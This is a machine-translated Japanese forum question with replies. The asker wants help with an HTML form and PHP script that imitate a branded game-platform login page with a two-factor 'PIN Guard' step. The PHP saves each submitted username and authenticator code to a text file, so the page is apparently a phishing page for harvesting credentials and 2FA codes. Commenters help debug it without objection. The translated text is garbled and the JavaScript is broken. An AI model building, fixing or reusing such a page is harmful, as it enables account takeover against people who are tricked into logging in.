私はこのフォームを持っています。私が今いる方法は、ユーザーがユーザー名とパスワードを入力してから、サインインボタンをクリックしてdivが表示され、ユーザーが自分のユーザー名とパスワードを入力するまでサインイン(認証ピンは隠されている)確認ピン。PHPスクリプトにフォームを送信する際の問題
<?php
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("...");
$txt = $_POST['username'] . ':' . $_POST['authcode'];
fwrite($myfile, $txt);
fclose($myfile);
echo "LOREM IPSUM:(";
?>
<!DOCTYPE html>
<form action="/loginaction.php" method="post" name="submit">
<input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();">
<div class="mainLoginLeftPanel_signin">
<label for="userAccountName">username</label><br>
<input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br> <br>
<label for="userPassword">Password</label><br>
<input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
<div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div>
<div class="checkboxContainer">
<div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select "Logout" from the account menu. This feature is only available to PIN Guard enabled accounts.">
<input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br>
</div>
</div>
</div>
<div class="modal_buttons" id="login_twofactorauth_buttonsets">
<div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style="">
<button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();">
<div class="auth_button_h3">submit</div>
<div class="auth_button_h5">my authenticator code</div></button></div></div>
<div class="twofactorauthcode_entry_area">
<div id="login_twofactor_authcode_entry">
<div class="twofactorauthcode_entry_box">
<input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/>
</div>
</div>
<div id="login_twofactor_authcode_help_supportlink" style="display: none;">
<a href="#">
Contact Support for help with account access </a>
</div>
</div>
</form>
</head>
フォーム名の両方が正しく入力されていると私が持っている:私が午前問題は、私は、テキストボックスに提出するものに関係なくある、何も私がここに持っている私のPHPスクリプトに提出されなかっますアクションは正しいスクリプトに設定されていますが、生成されたテキストファイルをチェックすると入力がありません。私は3つの詳細(ユーザー、パス、authcode)とサインインボタンのフォームを提出するために確認ピンを送信するボタンが、検証ディビジョン(これはうまくいきます)を再表示するだけです。どんな助けもありがとう。
フォームを送信するJavaScript関数は、関数が、ID「提出」を使用してフォームを要求
<script type="text/javascript">
function() submitForms{
document.getElementById("submit").submit();
document.getElementById("submit").action = "/loginaction.php";
}
https://jsfiddle.net/jxd0g2z4/
ここで、関数submitForms()は定義されていますか? –
私は今すぐ自分のコードを更新します。 –
ファイルが開けないとPHPが終了する可能性があります。ファイルを開く部分を提出してみることはできますか? –